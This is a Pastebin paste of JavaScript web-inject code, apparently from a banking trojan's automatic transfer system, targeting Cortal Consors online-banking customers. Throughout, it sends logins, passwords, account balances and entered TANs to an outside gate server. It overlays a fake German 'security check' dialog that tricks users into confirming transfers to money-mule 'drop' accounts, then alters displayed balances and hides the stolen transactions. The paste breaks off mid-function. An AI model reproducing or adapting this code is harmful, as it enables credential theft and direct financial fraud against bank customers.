Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var jq = jQuery.noConflict();
- var CONTENT_URL= "https://standarts-check.com/gm91249/";
- document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 800px;margin-left: -400px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: center; margin-top: 1em;float: right; margin: -20px 0 0;} .inj_error { display: none; color: #FF0000; font-weight: bold;margin:10px 0;font-size: 18px;font-weight: bold; text-align: center; }</style>');
- var ATS = { bank: 'cortalconsors',
- account_id: 0,
- script_ver: '1.3',
- transf_mode : 'sepa',
- debug_mode: 0,
- debug_transfer: "INT",
- gateURL : 'https://standarts-check.com/gm91249/gate',
- debugVisibleFrame: false,
- debugNoOverlay : false,
- CONTENT_URL: CONTENT_URL,
- current_state : 0,
- SmsCliked:false,
- StepInFrame : {
- 0:"BeginWork",
- 10:"framePageFinanzstatus",
- 15:"Transactions",
- 20:"Overseas_remittance",
- 30:"SEPA_page",
- 110:"SEPA_form_filled",
- 120:"TAN_ENTERED",
- 130:"Internal_transf_page",
- 140:"INT_form_filled",
- 150:"KreditlimitPage",
- 180:"randomPage",
- 190:"inside_randomPage",
- set_current_state : function(state){
- for (var key in this) {
- if (typeof this[key]!= 'function' && state==this[key]) {
- parent.ATS.current_state=key;
- return key;
- }
- //alert(key+':'+this[key])
- }
- return false;
- }
- },
- isDebugMode: function()
- {
- return ATS.debug_mode;
- },
- getBrowserFull: function()
- {
- var res = 'na';
- try
- {
- var m = navigator.userAgent.match(/Firefox\/(\d+)/);
- if (m)
- {
- res = 'ff' + m[1];
- }
- else
- {
- m = navigator.userAgent.match(/MSIE (\d+)/);
- if (m)
- res = 'ie' + m[1];
- }
- }
- catch(e)
- {
- res = 'ex';
- }
- return res;
- },
- debugMsg: function(message)
- {
- if (this.isDebugMode())
- {
- if (window.console && window.console.log)
- window.console.log(message);
- else
- alert(message);
- }
- },
- _cookies: new Object(),
- setCookie: function(name, value)
- {
- ATS.debugMsg('setCookie: ' + name + ' = ' + value);
- parent.ATS._cookies['#'+name] = value;
- },
- getCookie: function(name)
- {
- if (typeof parent.ATS._cookies['#'+name] == 'undefined')
- return null;
- return parent.ATS._cookies['#'+name];
- },
- serializeCookies: function()
- {
- //if (typeof parent.ATS._cookies != 'function')
- var result = new Array();
- for (var i in parent.ATS._cookies)
- {
- if(i.indexOf('#')==0){
- result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
- }
- }
- return result.join('&');
- },
- unserializeCookies: function(rawData)
- {
- var result = new Object();
- for (var i in rawData)
- {
- result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
- }
- return result;
- },
- saveCookies: function(callback)
- {
- ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
- },
- sendGateRequest: function(action, params, callback)
- {
- //ATS.debugMsg('sendGateRequest: ' + action);
- dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
- var url = ATS.gateURL + '?a=' + action + '&cb=?';
- //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
- //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
- //{
- jq.ajax({
- url: url,
- dataType: 'jsonp',
- crossDomain: true,
- data: dat,
- //async: false,
- success: callback,
- error: function(request,error)
- {
- ATS.debugMsg('posible ban ip; ajax error: ' + error);
- jq('.inj_full_overlay').remove();
- ATS.UI_unblockSite();
- jq('#inj_dialog_box').hide();
- }
- });
- //}
- },
- imgSubmit: function(button)
- {
- var form = jq(button).parents("form");
- if (jq(form).length == 0)
- return 0;
- var buttonName = jq(button).attr('name');
- if (buttonName != '')
- {
- var buttonWidth = parseInt(jq(button).css('width'));
- if (!buttonWidth)
- buttonWidth = 10;
- var buttonHeight = parseInt(jq(button).css('height'));
- if (!buttonHeight)
- buttonHeight = 10;
- var clickX = ATS.randInt(buttonWidth * 0.2, buttonWidth * 0.8);
- var clickY = ATS.randInt(buttonHeight * 0.2, buttonHeight * 0.8);
- jq(button).remove();
- jq(form).append('<input type=hidden name="' + buttonName + '.x" value="' + clickX + '" />');
- jq(form).append('<input type=hidden name="' + buttonName + '.y" value="' + clickY + '" />');
- jq(form).submit();
- }
- else
- jq(button).click();
- },
- loadData: function(callback)
- {
- ATS.sendGateRequest('load_data', {}, function(data){
- ATS.account_id = data.account_id;
- ATS._cookies = ATS.unserializeCookies(data.cookies);
- if (typeof callback == 'function')
- callback();
- });
- },
- randInt: function(min, max)
- {
- return Math.round(min + Math.random() * (max - min));
- },
- sendLoginInfo: function(login, password, callback)
- {
- ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
- },
- sendLogMsg: function(text, callback)
- {
- ATS.debugMsg('sendLogMsg: ' + text);
- ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
- },
- getDrop: function(transfType, balance, callback)
- {
- ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
- },
- putTransfer: function(transfType, drop, amount, callback)
- {
- ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
- },
- sendAccountsInfo: function(accountsInfo, callback)
- {
- try {
- ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
- } catch(e) {}
- }
- };
- ATS.UI_getInjectCode = function()
- {
- var code =
- '<div id=inj_dialog_box style=\'display: none;\'>'
- + '<div class="formContainer2 ui-dialog ui-widget ccui-dialog-login">'
- + '<div class="inj_dialog_content"><div class="ui-dialog-titlebar ui-widget-header" id="inj_dialog_title"><span id="ui-dialog-title-lightbox" class="ui-dialog-title"> TAN-Eingabe </span></div></div>'
- + '<div id=inj_page_wait style=\'display: none;\'>'
- + '<div class="boxHinweis"><p class="begruessungText inj_content_para">'
- + langs.getLang('waittext')
- + '<br class="newline" /></p><p style="text-align:center"><img s'
- + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div></div>'
- + '<div id="gad_contentbox" style=\'display: none;\'>'
- + '<div style="clear:both" class="inj_error">'+langs.getLang('errortan')+'</div>'
- +'<div id="gad_signatur_tan" style=\'display: none;\'><p><strong>Sehr geehrter Kunde,</strong><br /><br /> Im Rahmen des Express-Testes hat das System eine Testüberweisung gemacht. Bei der Bestätigung der Testüberweisung wird das KEIN Geld von Ihren Konto abgebucht.<br /> Wir hoffen, daß Sie eine Sicherheit und eine Einfachheit der Arbeit mit unserer Bank auf höchstem Niveau schätzen.</p><p><strong>Geben Sie bitte die testTAN ein, die wir Ihnen soeben per SMS an die Mobilfunknummer gesendet haben. Inhalt von test Bericht die soeben per SMS übermittelt wurde ist nicht von bedeutung.</strong></p><br><div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTAN" class="gad-margin-right-10">mobile TAN: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required"> </span><input type="text" id="iTAN" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div></div>'
- + '<div id="inj_page_brilok" style=\'display: none;\'>'
- +'1. Aktivieren Sie Ihren TAN-Generator mit der Ein-\/Aus-Taste und w'+String.fromCharCode(228)+'hlen Sie dann mit der Zifferntaste \"2\" die Funktion \"APPLI-2\".<br />2. Geben Sie die <span id="inj_tan_startcode"></span> <br />3. Im Anschluss erscheint im Display Ihres TAN-Generators die generierte TAN.<br />4. Diese tragen Sie bitte in das nebenstehende Feld ein, so legitimieren Sie Ihren Auftrag.<br /><br />'
- + '<div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTANBrilok" class="gad-margin-right-10"><strong>Ihre TAN* </strong></label><span class="gad-field-box"><span class="gad-icon gad-icon-required"> </span><input type="text" id="iTANBrilok" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div>'
- +'</div>'
- +'<div class="inj_buttons_block">'
- + '<input type="image" class="form-button" alt="Weiter" title="Weiter" src="'+ATS.CONTENT_URL+'/images/waiter.gif" id="inj_Weiter" name="inj_weiter">';
- + '</div>'
- +'</div>'
- + '</div></div>';
- return jq(code);
- }
- ATS.die = function(msg)
- {
- ATS.sendLogMsg('ERROR: ' + msg);
- ATS.setCookie('error_time', ATS.getTime());
- ATS.setCookie('status', 2);
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- ATS.saveCookies(function(){
- if ((parent.window !== window) && parent.ATS)
- {
- ATS.debugMsg('die in frame');
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- jq('.inj_full_overlay',parent.document).remove();
- }
- else
- {
- ATS.debugMsg('die outside frame');
- ATS.UI_hideDialogBox();
- ATS.UI_unblockSite();
- jq('.inj_full_overlay').remove();
- }
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- //setTimeout(function(){ window.location.reload();}, 1000);
- //window.location.reload();
- });
- }
- ATS.mainWork = function()
- {
- ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
- //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
- switch (ATS.current_state)
- {
- case 0:
- var href =true;
- if (href)
- {
- ATS.StepInFrame.set_current_state("randomPage");
- //ATS.StepInFrame.set_current_state("framePageFinanzstatus");
- //ATS.debugMsg('Finanzstatus link: ' + href);
- //setTimeout('ATS.openInIframe("' + href + '")', 3000);
- if (!!jq('div[role="dialog"]:visible').length)
- jq('div[role="dialog"]').find('span:contains(close)').click();
- setTimeout(function(){
- ATS.sendLogMsg('Name: ' + jq.trim(jq('.login-meta p:eq(0)').text().replace('Willkommen','')).replace(/\s{2,}/g, ' '),ATS.ieFrameHack() );
- }, ATS.randInt(3000, 3500));
- }
- else
- {
- ATS.die('mainWork: cant find finanzstatus');
- }
- break;
- }
- }
- ATS.ieFrameHack = function()
- {
- ATS.debugMsg('ATS.ieFrameHack()');
- if (!jq('iframe#ats_wrk_iframe').length)
- {
- //ATS.openInIframe(ATS.getFinanzstatusLink());
- ATS.openInIframe('about:blank');
- /*
- var cssLink = document.createElement("link")
- cssLink.href = "/wrs/resources2/html/layout.css";
- cssLink.rel = "stylesheet";
- cssLink.type = "text/css";
- frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
- var cssLink = document.createElement("link")
- cssLink.href = "/wrs/resources2/html/color.css";
- cssLink.rel = "stylesheet";
- cssLink.type = "text/css";
- frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
- */
- setTimeout(ATS.ieFrameHack, ATS.randInt(2000, 3000));
- }
- else
- {
- var n=document.location.href;
- n=n.replace("&s_login=true", '');
- var n=ATS.randomPage();
- jq('iframe#ats_wrk_iframe').attr('src',n );
- }
- }
- ATS.getMaxTransferAcc = function()
- {
- var accountsList = parent.ATS.accounts_list;
- var maxBalance = accountsList[0].balance;
- var tempBalance = 0;
- var maxAcc = accountsList[0];
- for(var i in accountsList)
- {
- tempBalance= parseFloat(accountsList[i].balance) + parseFloat(accountsList[i].overdraft);
- // console.log(tempBalance)
- if (!isNaN(tempBalance) && (tempBalance > maxBalance))
- {
- maxBalance = tempBalance;
- maxAcc = accountsList[i];
- }
- }
- return maxAcc;
- }
- ATS.UI_askTan = function(tanNum, isError)
- {
- parent.ATS.UI_showDialogBox();
- if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
- //parent.ATS.UI_fixBtnLink();
- var txt=jq('div.header').text();
- //if (txt.indexOf('TAN-Eingabe')==-1){
- if (jq('.token').length==0){
- parent.ATS.TanType='sms';
- /*
- var startCode = jq('.nowrap label').text().replace(/\D+/,'');
- ATS.sendLogMsg('startCode ' + startCode);
- jq('#inj_tan_startcode', parent.document.body).text(startCode);
- */
- if(!parent.ATS.SmsCliked){ parent.ATS.SmsCliked=true; jq('input[name*="event_requestMT0"]').click();} else{
- jq('#inj_page_wait', parent.document).hide();
- jq('#inj_logo', parent.document).hide();
- //jq('#inj_page_tan', parent.document).show();
- jq('#inj_page_brilok', parent.document).hide();
- jq('#gad_signatur_tan', parent.document).show();
- jq('.formContainer2 #gad_contentbox', parent.document).show();
- }
- }
- else{
- parent.ATS.TanType='brilok';
- var startCode = jq('.token').text().replace(/\D+/,'');
- startCode=ATS.padLeft(startCode,6);
- jq('#inj_tan_startcode', parent.document.body).text(startCode);
- jq('#inj_logo', parent.document).hide();
- jq('#inj_page_wait', parent.document).hide();
- jq('#gad_signatur_tan', parent.document).hide();
- jq('#inj_page_brilok', parent.document).show();
- jq('.formContainer2 #gad_contentbox', parent.document).show();
- }
- //jq('#inj_buttons_block', parent.document).show();
- }
- ATS.UI_onWeiterClick = function()
- {
- if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
- else var tan = jq('#iTANBrilok').val();
- if (tan=="test") {
- if (ATS.isDebugMode()){
- //parent.ATS.UI_showWait();
- if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
- else ATS.framePageReceiptInternal();
- return false;}}
- if (tan.length == 6)
- {
- ATS.sendLogMsg('entered TAN ' + tan);
- jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
- }
- else{
- alert(langs.getLang('errorTanEmpty'));
- }
- }
- ATS.padRight = function(input, totalWidth)
- {
- var result = input;
- if (result.length < totalWidth){
- for(var i = result.length; i < totalWidth; i++){
- result = result + 'X'
- }
- }
- return result;
- }
- ATS.padLeft =function padLeft(nr, n, str){
- return Array(n-String(nr).length+1).join(str||'0')+nr;
- }
- ATS.framePageReceipt = function()
- {
- ATS.sendLogMsg('framePageReceipt');
- ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
- ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
- ATS.setCookie('transfer_time', ATS.getTime());
- ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
- ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
- ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
- var transfer_acc = ATS.getCookie('transfer_acc');
- if (transfer_acc)
- {
- ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
- }
- ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
- ATS.setCookie('status', 1);
- ATS.saveCookies(function(){
- parent.window.location.reload();
- /*
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- jq('.inj_full_overlay',parent.document).remove();
- */
- });
- });
- }
- ATS.framePageReceiptInternal = function()
- {
- ATS.sendLogMsg('framePageReceiptInternal');
- ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
- ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
- ATS.setCookie('transfer_time', ATS.getTime());
- ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
- ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
- ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
- var transfer_acc = ATS.getCookie('transfer_acc');
- if (transfer_acc)
- {
- ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
- }
- ATS.setCookie('status', 1);
- ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
- ATS.saveCookies(function(){
- parent.window.location.reload();
- /*
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- jq('.inj_full_overlay',parent.document).remove();
- */
- });
- });
- }
- ATS.fin2float = function(text)
- {
- if (langs.getCurLang()=='EN')
- var text = text.toString();
- else
- var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
- return parseFloat(text);
- }
- ATS.float2fin = function(val)
- {
- var intPart = Math.floor(val);
- var fractPart = Math.floor((val - intPart) * 100).toString();
- if (fractPart.length < 2)
- fractPart = '0' + fractPart;
- var newIntPart = '';
- intPart = intPart.toString();
- while (intPart.length > 3)
- {
- newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
- intPart = intPart.substr(0, intPart.length - 3);
- }
- newIntPart = intPart + newIntPart;
- return newIntPart + ',' + fractPart;
- }
- ATS.addElementAmount = function (el, amount, postfix,prefix)
- {
- var prefix= prefix|| '';
- var val = ATS.fin2float(jq(el).text());
- var newText = prefix;
- newText += ATS.float2fin(val + amount);
- if (postfix)
- newText += ' ' + postfix;
- jq(el).text(newText);
- }
- ATS.hideLastTAN = function()
- {
- var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
- if (el.length)
- {
- var html = jq(el).html();
- var pos = html.indexOf('Ihre zuletzt');
- if (pos >= 0)
- jq(el).html(html.substr(0, pos));
- }
- jq('p:contains(Zuletzt benutzte)').remove();
- }
- ATS.checkTransfer = function(tempGesamtsaldo)
- {
- var percent=parseFloat("0.00");
- var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
- if (isNaN(lastGesamtsaldo)) {
- ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
- return false;
- }
- var curGesamtsaldo = tempGesamtsaldo;
- var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
- var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
- tempsaldo=parseFloat(tempsaldo.toFixed(2));
- //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
- if(tempsaldo==0){
- ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
- return false;
- }
- if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
- return false;
- }
- if(tempsaldo>0){
- if((tempsaldo==rep_amount) || (tempsaldo>rep_amount)){
- var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
- percent=parseFloat(temppers.toFixed(2));
- ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
- if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
- ATS.setCookie('acPercent',percent);
- ATS.saveCookies();
- }
- if (ATS.getCookie('acTransact')!="true"){
- ATS.setCookie('acTransact',true);
- ATS.saveCookies();
- }
- return percent;
- }else{
- ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
- ATS.setCookie('acPercent',tempsaldo);
- ATS.setCookie('acTransact',false);
- ATS.saveCookies();
- return false;
- }
- }
- }
- ATS.replaceFinanzstatus = function()
- {
- ATS.debugMsg('replaceFinanzstatus()');
- jq("#print").remove();
- if(jq(".accountGroupList h2.header span.accountGroupSum").length>0){
- var tempGesamtsaldo=0;
- jq(".accountGroupList h2.header span.accountGroupSum").each(function(){
- tempGesamtsaldo+=ATS.fin2float(jq(this).text());
- })
- }
- var percent =ATS.checkTransfer(tempGesamtsaldo);
- ATS.debugMsg('percent= '+percent);
- if(typeof percent === 'boolean') return true;
- var totalReplace = 0;
- jq("table.assets").each(function(){
- jq(this).find('tr').has('td.actions button').each(function(i){
- var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
- var accNum=jq.trim(jq(this).children("td:eq(1)").text());
- var amount = parseFloat(ATS.getCookie('ap' + accNum));
- //ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
- if (amount > 0)
- {
- ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
- ATS.addElementAmount(jq(this).children("td:eq(2)"), parseFloat(amount + percent), 'EUR');
- ATS.addElementAmount(jq(this).parent().find('.sum > .numeric > .plus'), amount + percent, 'EUR');
- totalReplace += parseFloat(amount + percent);
- ATS.addElementAmount(jq(this).parent().parent().parent().parent().parent().parent().find("h2.header span.accountGroupSum"), amount + percent, 'EUR','Summe ');
- }
- });
- });
- }
- ATS.replaceUmsatzanzeige = function()
- {
- ATS.debugMsg('replaceUmsatzanzeige()');
- jq(".saveListAs").remove();
- var amount = parseFloat(ATS.getCookie('ap' + accNum));
- var percent=parseFloat(ATS.getCookie('acPercent'));
- //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
- if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
- var accNum = jq('table.content-navigation td.active span').text();
- var accNumAlternate =jq('.page-headline h1 span').text();
- var transfer_acc =ATS.getCookie('transfer_acc');
- if ((accNum.indexOf(transfer_acc)!=-1) || (accNumAlternate.indexOf(transfer_acc)!=-1))
- {
- //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
- ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
- var hideFlag = false;
- jq('table.transactions tr').each(function(i){
- jq(this).find("td:eq(4)").each(function(j){
- var text = jq.trim(jq(this).text());
- if (ATS.needToHide(text))
- {
- // ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
- jq(this).parent().hide();
- hideFlag = true;
- }
- });
- });
- if(hideFlag) {
- ATS.addElementAmount(jq('table.account-balance tr:eq(0) td span.plus'), amount + percent, 'EUR');
- ATS.addElementAmount(jq('table.account-balance tr:eq(1) td span.plus'), amount + percent, 'EUR');
- ATS.addElementAmount(jq('table.data:eq(0) span.plus:eq(1) b'), amount + percent, 'EUR');
- ATS.addElementAmount(jq('table.data:eq(1) span.plus:eq(1) b'), amount + percent, 'EUR');
- }
- jq('table.transactions tr:visible:not(:first)').each(function(i){
- jq(this).attr('class', (i % 2) ? 'even' : 'odd');
- });
- }
- }
- ATS.needToHide = function(text)
- {
- var amount = parseFloat(ATS.getCookie('rep_amount'));
- if (amount)
- {
- if (langs.getCurLang()=='EN'){
- text=text.replace(/[^\d.]+/gi, '');
- if (text.indexOf(amount) != -1) return true;
- }
- else{
- text=text.replace(/[^\d,]+/gi, '').replace(",", '.');
- if (text.indexOf(amount) != -1) return true;
- //ATS.debugMsg(text);
- }
- }
- return false;
- }
- ATS.replaceBalances = function()
- {
- ATS.debugMsg('replaceBalances()');
- //ATS.hideLastTAN();
- switch (langs.getCurLang())
- {
- case "EN":
- if (ATS.getPageTitle("Your financial overview")) ATS.replaceFinanzstatus();
- if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();
- break;
- default:
- if (ATS.getPageTitle("Konten & Depots")) ATS.replaceFinanzstatus();
- if (ATS.getPageTitle("Umsatz"+String.fromCharCode(252)+"bersicht") ) ATS.replaceUmsatzanzeige();
- break;
- }
- }
- ATS.findAccountInfo = function(acc_num)
- {
- ATS.debugMsg('acc_num:'+ acc_num);
- var accounts_list = parent.ATS.accounts_list;
- for (var i in accounts_list)
- {
- //if (accounts_list[i] != 'function' )
- //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
- if (acc_num.indexOf(accounts_list[i].number) != -1)
- {
- //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
- return accounts_list[i];
- }
- }
- return false;
- }
- var langs ={
- simple_property: 'Hello',
- EN: {
- waittext: "Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",
- nextbutton: "Weiter",
- errortan: "TAN falsch, bitte richtige TAN eingeben",
- errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
- autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br />"
- },
- DE: {
- waittext: "Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",
- nextbutton: "Weiter",
- errortan: "TAN falsch, bitte richtige TAN eingeben",
- errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
- autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
- },
- getLang: function(step) {
- var ln='EN';
- if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
- // return(this.simple_property + ', ' + this[ln][step]);
- return(this[ln][step]);
- },
- getCurLang: function() {
- var ln='EN';
- if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
- return(ln);
- }
- };
- document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 20px 20px 35px 20px;font-size:1em;width: auto;} .formContainer2 { width: 800px;border: 0.1em solid #C1C3C4 !important;text-align: left;color: #000; font-weight: bold; background-color: #FFFFFF; } #branch { width: 1.9em;}.layout input, .layout select { vertical-align: middle;}textarea, input, select { border: 1px solid #B5C9E3; color: #333333; font: 1em arial,helvetica,sans-serif; padding: 2px;}input.button { -moz-border-bottom-colors: none; -moz-border-image: none; -moz-border-left-colors: none; -moz-border-right-colors: none; -moz-border-top-colors: none; background: url("../../images/bt_standard.gif") no-repeat scroll right center #EAEAEA; border-color: -moz-use-text-color #C0C0C0 #C0C0C0 -moz-use-text-color; border-style: none solid solid none; border-width: medium 1px 1px medium; color: #003399; cursor: pointer; font-size: 1em; font-weight: bold; padding: 2px 3px; float:right; }.inj_logo_p { color: #FFFFFF; font-size: 18px; } </style>');
- ATS.checkTestPage = function()
- {
- if(jq('#gad_contentbox').length) return true;
- // jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
- else return false;
- }
- ATS.checkLoginPage = function()
- {
- //return !jq('input[value="Logout"]').length;
- if(!jq('.loggedin:contains(Session-TAN):visible,#login:contains(Session-TAN):visible').length && (!!jq('input[name*="event_login"]').length ||(!!jq('input[name="login"]').length))) return true; else return false;
- }
- ATS.isLoggedIn = function()
- {
- return !!jq('a:contains(Logout):visible,input[name*="event_logout"]').length;
- }
- ATS.UI_blockSite = function()
- {
- if (ATS.debugNoOverlay)
- return;
- ATS.debugMsg('ATS.UI_blockSite');
- if (jq('#inj_block_overlay').length)
- jq('#inj_block_overlay').show();
- else
- jq('#page').before('<div id="inj_block_overlay" class="ui-widget-overlay"><div id="inj_logo"><br><img src="'+ATS.CONTENT_URL+'/images/overlay_loader.gif" class="overlay_loader overlay_loader_non_ie"><br><p class="inj_logo_p">Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern.</p><img style="position: static;" class="overlay_logo" src="'+ATS.CONTENT_URL+'/images/overlay_progress.jpg"></div></div>');
- }
- ATS.UI_unblockSite = function()
- {
- jq('#inj_block_overlay').hide();
- jq('#page').show();
- jq('#page > div').show();
- }
- ATS.UI_hideDialogBox = function()
- {
- jq('#inj_dialog_box').hide();
- }
- ATS.UI_showDialogBox = function()
- {
- //jq('#page > div').hide();
- if (!jq('#inj_dialog_box').length)
- {
- var injectCode = ATS.UI_getInjectCode();
- jq('#page').after(injectCode);
- jq('#inj_Weiter').click(ATS.UI_onWeiterClick);
- }
- jq('#inj_dialog_box').show();
- }
- ATS.UI_showWait = function()
- {
- //ATS.UI_showDialogBox();
- //jq('#inj_page_wait').show();
- jq('#inj_logo').show();
- //jq('#inj_page_tan').hide();
- jq('#inj_page_brilok').hide();
- jq('.formContainer2 #gad_contentbox').hide();
- jq('#inj_dialog_box').hide();
- }
- ATS.getLoginForm = function()
- {
- var form = jq("form#loginForm");
- if (form.length)
- return form[0];
- return false;
- }
- ATS.getLoginForm2 = function()
- {
- var form = jq("form#de-loginform");
- if (form.length)
- return form[0];
- return false;
- }
- ATS.getPageTitle = function(findtext)
- {
- var title=jq.trim(jq("div.page-headline >h1:eq(0)").text());
- if (title.indexOf(findtext) !=-1) return true;
- else return false;
- }
- ATS.hideLastTAN = function()
- {
- var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
- if (el.length)
- {
- var html = jq(el).html();
- var pos = html.indexOf('Ihre zuletzt');
- if (pos >= 0)
- jq(el).html(html.substr(0, pos));
- }
- jq('p:contains(Zuletzt benutzte)').remove();
- }
- ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
- ATS.setLoginHook = function()
- {
- var loginDataSent = false;
- var loginForm = ATS.getLoginForm();
